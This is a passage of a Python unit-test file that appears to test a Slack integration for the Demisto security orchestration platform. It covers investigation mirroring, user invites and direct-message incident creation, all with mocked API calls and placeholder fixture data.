mocker.patch.object(demisto, 'investigation', return_value={'id': '999', 'users': ['spengler', 'alexios']}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'demistoUrls', return_value={'server': 'https://www.eizelulz.com:8443'}) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) new_mirror = { 'channel_id': 'new_group', 'channel_name': 'incident-999', 'channel_topic': 'incident-999', 'investigation_id': '999', 'mirror_type': 'all', 'mirror_direction': 'both', 'mirror_to': 'group', 'auto_close': True, 'mirrored': False } # Arrange mirror_investigation() success_results = demisto.results.call_args_list[0][0] new_context = demisto.setIntegrationContext.call_args[0][0] new_mirrors = js.loads(new_context['mirrors']) new_conversations = js.loads(new_context['conversations']) our_conversation_filter = list(filter(lambda c: c['id'] == 'new_group', new_conversations)) our_conversation = our_conversation_filter[0] our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors)) our_mirror = our_mirror_filter[0] # Assert calls = slack.WebClient.api_call.call_args_list groups_call = [c for c in calls if c[0][0] == 'groups.create'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic'] chat_call = [c for c in calls if c[0][0] == 'chat.postMessage'] message_args = chat_call[0][1]['json'] assert len(groups_call) == 1 assert len(invite_call) == 1 assert len(topic_call) == 1 assert len(chat_call) == 1 assert success_results[0] == 'Investigation mirrored successfully, channel: incident-999' assert message_args['channel'] == 'new_group' assert message_args['text'] == 'This channel was created to mirror incident 999.' \ ' \n View it on: https://www.eizelulz.com:8443#/WarRoom/999' assert len(our_conversation_filter) == 1 assert len(our_mirror_filter) == 1 assert our_conversation == {'id': 'new_group', 'name': 'incident-999'} assert our_mirror == new_mirror def test_mirror_investigation_new_mirror_with_name(mocker): from Slack import mirror_investigation # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} if method == 'channels.create': return {'channel': { 'id': 'new_channel', 'name': 'coolname' }} if method == 'groups.create': return {'group': { 'id': 'new_group', 'name': 'coolname' }} else: return {} mocker.patch.object(demisto, 'args', return_value={'channelName': 'coolname'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '999', 'users': ['spengler', 'alexios']}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'demistoUrls', return_value={'server': 'https://www.eizelulz.com:8443'}) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) new_mirror = { 'channel_id': 'new_group', 'channel_name': 'coolname', 'channel_topic': 'incident-999', 'investigation_id': '999', 'mirror_type': 'all', 'mirror_direction': 'both', 'mirror_to': 'group', 'auto_close': True, 'mirrored': False } # Arrange mirror_investigation() success_results = demisto.results.call_args_list[0][0] new_context = demisto.setIntegrationContext.call_args[0][0] new_mirrors = js.loads(new_context['mirrors']) new_conversations = js.loads(new_context['conversations']) our_conversation_filter = list(filter(lambda c: c['id'] == 'new_group', new_conversations)) our_conversation = our_conversation_filter[0] our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors)) our_mirror = our_mirror_filter[0] # Assert calls = slack.WebClient.api_call.call_args_list groups_call = [c for c in calls if c[0][0] == 'groups.create'] users_call = [c for c in calls if c[0][0] == 'users.list'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic'] chat_call = [c for c in calls if c[0][0] == 'chat.postMessage'] message_args = chat_call[0][1]['json'] assert len(groups_call) == 1 assert len(users_call) == 0 assert len(invite_call) == 1 assert len(topic_call) == 1 assert len(chat_call) == 1 assert success_results[0] == 'Investigation mirrored successfully, channel: coolname' assert message_args['channel'] == 'new_group' assert message_args['text'] == 'This channel was created to mirror incident 999.' \ ' \n View it on: https://www.eizelulz.com:8443#/WarRoom/999' assert len(our_conversation_filter) == 1 assert len(our_mirror_filter) == 1 assert our_conversation == {'id': 'new_group', 'name': 'coolname'} assert our_mirror == new_mirror def test_mirror_investigation_new_mirror_with_topic(mocker): from Slack import mirror_investigation # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} if method == 'channels.create': return {'channel': { 'id': 'new_channel', 'name': 'coolname' }} if method == 'groups.create': return {'group': { 'id': 'new_group', 'name': 'coolname' }} else: return {} mocker.patch.object(demisto, 'args', return_value={'channelName': 'coolname', 'channelTopic': 'cooltopic'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '999', 'users': ['spengler', 'alexios']}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'demistoUrls', return_value={'server': 'https://www.eizelulz.com:8443'}) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) new_mirror = { 'channel_id': 'new_group', 'channel_name': 'coolname', 'channel_topic': 'cooltopic', 'investigation_id': '999', 'mirror_type': 'all', 'mirror_direction': 'both', 'mirror_to': 'group', 'auto_close': True, 'mirrored': False } # Arrange mirror_investigation() success_results = demisto.results.call_args_list[0][0] new_context = demisto.setIntegrationContext.call_args[0][0] new_mirrors = js.loads(new_context['mirrors']) new_conversations = js.loads(new_context['conversations']) our_conversation_filter = list(filter(lambda c: c['id'] == 'new_group', new_conversations)) our_conversation = our_conversation_filter[0] our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors)) our_mirror = our_mirror_filter[0] calls = slack.WebClient.api_call.call_args_list groups_call = [c for c in calls if c[0][0] == 'groups.create'] users_call = [c for c in calls if c[0][0] == 'users.list'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic'] chat_call = [c for c in calls if c[0][0] == 'chat.postMessage'] message_args = chat_call[0][1]['json'] topic_args = topic_call[0][1]['json'] # Assert assert len(groups_call) == 1 assert len(users_call) == 0 assert len(invite_call) == 1 assert len(topic_call) == 1 assert len(chat_call) == 1 assert success_results[0] == 'Investigation mirrored successfully, channel: coolname' assert message_args['channel'] == 'new_group' assert message_args['text'] == 'This channel was created to mirror incident 999.' \ ' \n View it on: https://www.eizelulz.com:8443#/WarRoom/999' assert topic_args['channel'] == 'new_group' assert topic_args['topic'] == 'cooltopic' assert len(our_conversation_filter) == 1 assert len(our_mirror_filter) == 1 assert our_conversation == {'id': 'new_group', 'name': 'coolname'} assert our_mirror == new_mirror def test_mirror_investigation_existing_mirror_error_type(mocker): from Slack import mirror_investigation # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} mocker.patch.object(demisto, 'args', return_value={'type': 'chat', 'autoclose': 'false', 'direction': 'FromDemisto', 'mirrorTo': 'channel'}) return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError()) mocker.patch.object(demisto, 'investigation', return_value={'id': '681', 'users': ['spengler']}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) # Arrange with pytest.raises(InterruptedError): mirror_investigation() err_msg = return_error_mock.call_args[0][0] calls = slack.WebClient.api_call.call_args_list groups_call = [c for c in calls if c[0][0] == 'groups.create'] channels_call = [c for c in calls if c[0][0] == 'channels.create'] users_call = [c for c in calls if c[0][0] == 'users.list'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic'] # Assert assert len(topic_call) == 0 assert len(groups_call) == 0 assert len(users_call) == 0 assert len(invite_call) == 0 assert len(channels_call) == 0 assert return_error_mock.call_count == 1 assert err_msg == 'Cannot change the Slack channel type from Demisto.' def test_mirror_investigation_existing_mirror_error_name(mocker): from Slack import mirror_investigation # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} mocker.patch.object(demisto, 'args', return_value={'channelName': 'eyy'}) return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError()) mocker.patch.object(demisto, 'investigation', return_value={'id': '681', 'users': ['spengler']}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) # Arrange with pytest.raises(InterruptedError): mirror_investigation() err_msg = return_error_mock.call_args[0][0] calls = slack.WebClient.api_call.call_args_list groups_call = [c for c in calls if c[0][0] == 'groups.create'] channels_call = [c for c in calls if c[0][0] == 'channels.create'] users_call = [c for c in calls if c[0][0] == 'users.list'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] # Assert assert len(groups_call) == 0 assert len(invite_call) == 0 assert len(channels_call) == 0 assert len(users_call) == 0 assert return_error_mock.call_count == 1 assert err_msg == 'Cannot change the Slack channel name.' def test_mirror_investigation_existing_investigation(mocker): from Slack import mirror_investigation # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} mocker.patch.object(demisto, 'args', return_value={'type': 'chat', 'autoclose': 'false', 'direction': 'FromDemisto', 'mirrorTo': 'group'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '681', 'users': ['spengler']}) mocker.patch.object(demisto, 'results') mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) new_mirror = { 'channel_id': 'GKQ86DVPH', 'investigation_id': '681', 'channel_name': 'incident-681', 'channel_topic': 'incident-681', 'mirror_type': 'chat', 'mirror_direction': 'FromDemisto', 'mirror_to': 'group', 'auto_close': False, 'mirrored': False } # Arrange mirror_investigation() calls = slack.WebClient.api_call.call_args_list groups_call = [c for c in calls if c[0][0] == 'groups.create'] channels_call = [c for c in calls if c[0][0] == 'channels.create'] users_call = [c for c in calls if c[0][0] == 'users.list'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic'] # Assert assert len(groups_call) == 0 assert len(channels_call) == 0 assert len(users_call) == 0 assert len(invite_call) == 0 assert len(topic_call) == 0 success_results = demisto.results.call_args_list[0][0] assert success_results[0] == 'Investigation mirrored successfully, channel: incident-681' new_context = demisto.setIntegrationContext.call_args[0][0] new_mirrors = js.loads(new_context['mirrors']) our_mirror_filter = list(filter(lambda m: '681' == m['investigation_id'], new_mirrors)) our_mirror = our_mirror_filter[0] assert len(our_mirror_filter) == 1 assert our_mirror == new_mirror def test_mirror_investigation_existing_channel(mocker): from Slack import mirror_investigation # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} mocker.patch.object(demisto, 'args', return_value={'channelName': 'group3', 'type': 'chat', 'autoclose': 'false', 'direction': 'FromDemisto', 'mirrorTo': 'group'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '999', 'users': ['spengler']}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) new_mirror = { 'channel_id': 'GKNEJU4P9', 'channel_name': 'group3', 'investigation_id': '999', 'channel_topic': 'incident-713, incident-999', 'mirror_type': 'chat', 'mirror_direction': 'FromDemisto', 'mirror_to': 'group', 'auto_close': False, 'mirrored': False } # Arrange mirror_investigation() calls = slack.WebClient.api_call.call_args_list groups_call = [c for c in calls if c[0][0] == 'groups.create'] channels_call = [c for c in calls if c[0][0] == 'channels.create'] users_call = [c for c in calls if c[0][0] == 'users.list'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic'] # Assert assert len(groups_call) == 0 assert len(channels_call) == 0 assert len(users_call) == 0 assert len(invite_call) == 0 assert len(topic_call) == 1 success_results = demisto.results.call_args_list[0][0] assert success_results[0] == 'Investigation mirrored successfully, channel: group3' new_context = demisto.setIntegrationContext.call_args[0][0] new_mirrors = js.loads(new_context['mirrors']) our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors)) our_mirror = our_mirror_filter[0] assert len(our_mirror_filter) == 1 assert our_mirror == new_mirror def test_mirror_investigation_existing_channel_remove_mirror(mocker): from Slack import mirror_investigation # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} mirrors = js.loads(MIRRORS) mirrors.append({ 'channel_id': 'GKB19PA3V', 'channel_name': 'group2', 'channel_topic': 'cooltopic', 'investigation_id': '999', 'mirror_type': 'all', 'mirror_direction': 'both', 'mirror_to': 'group', 'auto_close': True, 'mirrored': True }) set_integration_context({ 'mirrors': js.dumps(mirrors), 'users': USERS, 'conversations': CONVERSATIONS, 'bot_id': 'W12345678' }) mocker.patch.object(demisto, 'investigation', return_value={'id': '999', 'users': ['spengler']}) mocker.patch.object(demisto, 'args', return_value={'type': 'none'}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) new_mirror = { 'channel_id': 'GKB19PA3V', 'channel_name': 'group2', 'channel_topic': 'cooltopic', 'investigation_id': '999', 'mirror_type': 'none', 'mirror_direction': 'both', 'mirror_to': 'group', 'auto_close': True, 'mirrored': False } # Arrange mirror_investigation() calls = slack.WebClient.api_call.call_args_list groups_call = [c for c in calls if c[0][0] == 'groups.create'] channels_call = [c for c in calls if c[0][0] == 'channels.create'] users_call = [c for c in calls if c[0][0] == 'users.list'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic'] # Assert assert len(groups_call) == 0 assert len(channels_call) == 0 assert len(users_call) == 0 assert len(invite_call) == 0 assert len(topic_call) == 0 success_results = demisto.results.call_args_list[0][0] assert success_results[0] == 'Investigation mirrored successfully, channel: group2' new_context = demisto.setIntegrationContext.call_args[0][0] new_mirrors = js.loads(new_context['mirrors']) our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors)) our_mirror = our_mirror_filter[0] assert len(our_mirror_filter) == 1 assert our_mirror == new_mirror def test_mirror_investigation_existing_channel_with_topic(mocker): from Slack import mirror_investigation # Set def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'users.list': return {'members': js.loads(USERS)} mocker.patch.object(demisto, 'args', return_value={'channelName': 'group2', 'type': 'chat', 'autoclose': 'false', 'direction': 'FromDemisto', 'mirrorTo': 'group'}) mocker.patch.object(demisto, 'investigation', return_value={'id': '999', 'users': ['spengler']}) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'results') mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) new_mirror = { 'channel_id': 'GKB19PA3V', 'channel_name': 'group2', 'channel_topic': 'cooltopic', 'investigation_id': '999', 'mirror_type': 'chat', 'mirror_direction': 'FromDemisto', 'mirror_to': 'group', 'auto_close': False, 'mirrored': False, } # Arrange mirror_investigation() calls = slack.WebClient.api_call.call_args_list groups_call = [c for c in calls if c[0][0] == 'groups.create'] channels_call = [c for c in calls if c[0][0] == 'channels.create'] users_call = [c for c in calls if c[0][0] == 'users.list'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic'] # Assert assert len(groups_call) == 0 assert len(channels_call) == 0 assert len(users_call) == 0 assert len(invite_call) == 0 assert len(topic_call) == 0 success_results = demisto.results.call_args_list[0][0] assert success_results[0] == 'Investigation mirrored successfully, channel: group2' new_context = demisto.setIntegrationContext.call_args[0][0] new_mirrors = js.loads(new_context['mirrors']) our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors)) our_mirror = our_mirror_filter[0] assert len(our_mirror_filter) == 1 assert our_mirror == new_mirror def test_check_for_mirrors(mocker): from Slack import check_for_mirrors new_user = { 'name': 'perikles', 'profile': { 'email': 'perikles@acropoli.com', }, 'id': 'U012B3CUI' } def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): users = {'members': js.loads(USERS)} users['members'].append(new_user) return users # Set mirrors = js.loads(MIRRORS) mirrors.append({ 'channel_id': 'new_group', 'channel_name': 'channel', 'investigation_id': '999', 'mirror_type': 'all', 'mirror_direction': 'both', 'mirror_to': 'group', 'auto_close': True, 'mirrored': False }) set_integration_context({ 'mirrors': js.dumps(mirrors), 'users': USERS, 'conversations': CONVERSATIONS, 'bot_id': 'W12345678' }) new_mirror = { 'channel_id': 'new_group', 'channel_name': 'channel', 'investigation_id': '999', 'mirror_type': 'all', 'mirror_direction': 'both', 'mirror_to': 'group', 'auto_close': True, 'mirrored': True } mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'mirrorInvestigation', return_value=[{'email': 'spengler@ghostbusters.example.com', 'username': 'spengler'}, {'email': 'perikles@acropoli.com', 'username': 'perikles'}]) # Arrange check_for_mirrors() calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] mirror_id = demisto.mirrorInvestigation.call_args[0][0] mirror_type = demisto.mirrorInvestigation.call_args[0][1] auto_close = demisto.mirrorInvestigation.call_args[0][2] new_context = demisto.setIntegrationContext.call_args[0][0] new_mirrors = js.loads(new_context['mirrors']) new_users = js.loads(new_context['users']) our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors)) our_mirror = our_mirror_filter[0] our_user_filter = list(filter(lambda u: 'U012B3CUI' == u['id'], new_users)) our_user = our_user_filter[0] invited_users = [c[1]['json']['users'] for c in invite_call] channel = [c[1]['json']['channel'] for c in invite_call] # Assert assert len(users_call) == 1 assert len(invite_call) == 2 assert invited_users == ['U012A3CDE', 'U012B3CUI'] assert channel == ['new_group', 'new_group'] assert demisto.setIntegrationContext.call_count == 1 assert len(our_mirror_filter) == 1 assert our_mirror == new_mirror assert len(our_user_filter) == 1 assert our_user == new_user assert mirror_id == '999' assert mirror_type == 'all:both' assert auto_close is True def test_check_for_mirrors_no_updates(mocker): from Slack import check_for_mirrors # Set mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) # Arrange check_for_mirrors() # Assert assert demisto.getIntegrationContext.call_count == 1 assert demisto.setIntegrationContext.call_count == 0 def test_check_for_mirrors_email_user_not_matching(mocker): from Slack import check_for_mirrors def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): users = {'members': js.loads(USERS)} new_user = { 'name': 'nope', 'profile': { 'email': 'perikles@acropoli.com', }, 'id': 'U012B3CUI' } users['members'].append(new_user) return users # Set mirrors = js.loads(MIRRORS) mirrors.append({ 'channel_id': 'new_group', 'channel_name': 'channel', 'investigation_id': '999', 'mirror_type': 'all', 'mirror_direction': 'both', 'mirror_to': 'group', 'auto_close': True, 'mirrored': False }) set_integration_context({ 'mirrors': js.dumps(mirrors), 'users': USERS, 'conversations': CONVERSATIONS, 'bot_id': 'W12345678' }) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'mirrorInvestigation', return_value=[{'email': 'spengler@ghostbusters.example.com', 'username': 'spengler'}, {'email': 'perikles@acropoli.com', 'username': 'perikles'}]) # Arrange check_for_mirrors() calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] invited_users = [c[1]['json']['users'] for c in invite_call] channel = [c[1]['json']['channel'] for c in invite_call] assert demisto.setIntegrationContext.call_count == 1 # Assert assert len(users_call) == 1 assert len(invite_call) == 2 assert invited_users == ['U012A3CDE', 'U012B3CUI'] assert channel == ['new_group', 'new_group'] def test_check_for_mirrors_email_not_matching(mocker): from Slack import check_for_mirrors def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): users = {'members': js.loads(USERS)} new_user = { 'name': 'perikles', 'profile': { 'email': 'bruce.wayne@pharmtech.zz', }, 'id': 'U012B3CUI' } users['members'].append(new_user) return users # Set mirrors = js.loads(MIRRORS) mirrors.append({ 'channel_id': 'new_group', 'channel_name': 'channel', 'investigation_id': '999', 'mirror_type': 'all', 'mirror_direction': 'both', 'mirror_to': 'group', 'auto_close': True, 'mirrored': False }) set_integration_context({ 'mirrors': js.dumps(mirrors), 'users': USERS, 'conversations': CONVERSATIONS, 'bot_id': 'W12345678' }) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'mirrorInvestigation', return_value=[{'email': 'spengler@ghostbusters.example.com', 'username': 'spengler'}, {'email': '', 'username': 'perikles'}]) # Arrange check_for_mirrors() calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] invited_users = [c[1]['json']['users'] for c in invite_call] channel = [c[1]['json']['channel'] for c in invite_call] # Assert assert len(users_call) == 1 assert len(invite_call) == 2 assert invited_users == ['U012A3CDE', 'U012B3CUI'] assert channel == ['new_group', 'new_group'] assert demisto.setIntegrationContext.call_count == 1 def test_check_for_mirrors_user_email_not_matching(mocker): from Slack import check_for_mirrors def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): users = {'members': js.loads(USERS)} new_user = { 'name': 'perikles', 'profile': { 'email': 'perikles@acropoli.com', }, 'id': 'U012B3CUI' } users['members'].append(new_user) return users # Set mirrors = js.loads(MIRRORS) mirrors.append({ 'channel_id': 'new_group', 'channel_name': 'channel', 'investigation_id': '999', 'mirror_type': 'all', 'mirror_direction': 'both', 'mirror_to': 'group', 'auto_close': True, 'mirrored': False }) set_integration_context({ 'mirrors': js.dumps(mirrors), 'users': USERS, 'conversations': CONVERSATIONS, 'bot_id': 'W12345678' }) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context) mocker.patch.object(demisto, 'mirrorInvestigation', return_value=[{'email': 'spengler@ghostbusters.example.com', 'username': 'spengler'}, {'email': 'bruce.wayne@pharmtech.zz', 'username': '123'}]) mocker.patch.object(demisto, 'results') # Arrange check_for_mirrors() calls = slack.WebClient.api_call.call_args_list users_call = [c for c in calls if c[0][0] == 'users.list'] invite_call = [c for c in calls if c[0][0] == 'conversations.invite'] invited_users = [c[1]['json']['users'] for c in invite_call] channel = [c[1]['json']['channel'] for c in invite_call] error_results = demisto.results.call_args_list[0][0] # Assert assert demisto.setIntegrationContext.call_count == 1 assert error_results[0]['Contents'] == 'User 123 not found in Slack' assert len(users_call) == 2 assert len(invite_call) == 1 assert invited_users == ['U012A3CDE'] assert channel == ['new_group'] @pytest.mark.asyncio async def test_slack_loop_should_exit(mocker): from Slack import slack_loop # Set class MyFuture: @staticmethod def done(): return True @staticmethod def exception(): return None @asyncio.coroutine def yeah_im_not_going_to_run(time): return "sup" mocker.patch.object(asyncio, 'sleep', side_effect=yeah_im_not_going_to_run) with pytest.raises(InterruptedError): mocker.patch.object(slack.RTMClient, 'start', side_effect=[MyFuture()]) # Exits the while True mocker.patch.object(slack.RTMClient, 'stop', side_effect=InterruptedError()) # Arrange await slack_loop() # Assert assert slack.RTMClient.start.call_count == 1 @pytest.mark.asyncio async def test_handle_dm_create_demisto_user(mocker): import Slack # Set @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'im.open': return { 'channel': { 'id': 'ey' }} else: return 'sup' @asyncio.coroutine def fake_translate(message: str, user_name: str, user_email: str, demisto_user: dict): return "sup" mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'findUser', return_value={'id': 'demisto_id'}) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) mocker.patch.object(Slack, 'translate_create', side_effect=fake_translate) user = js.loads(USERS)[0] # Arrange await Slack.handle_dm(user, 'open 123 incident', slack.WebClient) await Slack.handle_dm(user, 'new incident abu ahmad', slack.WebClient) await Slack.handle_dm(user, 'incident create 817', slack.WebClient) await Slack.handle_dm(user, 'incident open', slack.WebClient) await Slack.handle_dm(user, 'incident new', slack.WebClient) await Slack.handle_dm(user, 'create incident name=abc type=Access', slack.WebClient) # Assert assert Slack.translate_create.call_count == 6 incident_string = Slack.translate_create.call_args[0][0] user_name = Slack.translate_create.call_args[0][1] user_email = Slack.translate_create.call_args[0][2] demisto_user = Slack.translate_create.call_args[0][3] assert demisto_user == {'id': 'demisto_id'} assert user_name == 'spengler' assert user_email == 'spengler@ghostbusters.example.com' assert incident_string == 'create incident name=abc type=Access' @pytest.mark.asyncio async def test_handle_dm_nondemisto_user_shouldnt_create(mocker): import Slack # Set @asyncio.coroutine def fake_translate(message: str, user_name: str, user_email: str, demisto_user: dict): return "sup" @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'im.open': return { 'channel': { 'id': 'ey' }} else: return 'sup' mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'findUser', return_value=None) mocker.patch.object(Slack, 'translate_create', side_effect=fake_translate) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) user = js.loads(USERS)[0] # Arrange await Slack.handle_dm(user, 'create incident abc', slack.WebClient) # Assert assert Slack.translate_create.call_count == 0 @pytest.mark.asyncio async def test_handle_dm_nondemisto_user_should_create(mocker): import Slack mocker.patch.object(demisto, 'params', return_value={'allow_incidents': 'true'}) Slack.init_globals() # Set @asyncio.coroutine def fake_translate(message: str, user_name: str, user_email: str, demisto_user: dict): return "sup" @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'im.open': return { 'channel': { 'id': 'ey' }} else: return 'sup' mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'findUser', return_value=None) mocker.patch.object(Slack, 'translate_create', side_effect=fake_translate) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) user = js.loads(USERS)[0] # Arrange await Slack.handle_dm(user, 'create incident abc', slack.WebClient) # Assert assert Slack.translate_create.call_count == 1 demisto_user = Slack.translate_create.call_args[0][3] assert demisto_user is None @pytest.mark.asyncio async def test_handle_dm_non_create_nonexisting_user(mocker): from Slack import handle_dm # Set @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'im.open': return { 'channel': { 'id': 'ey' }} else: return 'sup' mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'findUser', return_value=None) mocker.patch.object(demisto, 'directMessage', return_value=None) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) user = js.loads(USERS)[0] # Arrange await handle_dm(user, 'wazup', slack.WebClient) message = demisto.directMessage.call_args[0][0] username = demisto.directMessage.call_args[0][1] email = demisto.directMessage.call_args[0][2] allow = demisto.directMessage.call_args[0][3] # Assert assert message == 'wazup' assert username == 'spengler' assert email == 'spengler@ghostbusters.example.com' assert allow is False @pytest.mark.asyncio async def test_handle_dm_empty_message(mocker): from Slack import handle_dm # Set @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'im.open': return { 'channel': { 'id': 'ey' }} elif method == 'chat.postMessage': text = json['text'] if not text: raise InterruptedError() else: return None mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context) mocker.patch.object(demisto, 'findUser', return_value=None) mocker.patch.object(demisto, 'directMessage', return_value=None) mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call) user = js.loads(USERS)[0] # Arrange await handle_dm(user, 'wazup', slack.WebClient) calls = slack.WebClient.api_call.call_args_list chat_call = [c for c in calls if c[0][0] == 'chat.postMessage'] message_args = chat_call[0][1]['json'] # Assert assert message_args['text'] == 'Sorry, I could not perform the selected operation.' @pytest.mark.asyncio async def test_handle_dm_create_with_error(mocker): import Slack # Set @asyncio.coroutine def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None): if method == 'im.open': return { 'channel': { 'id': 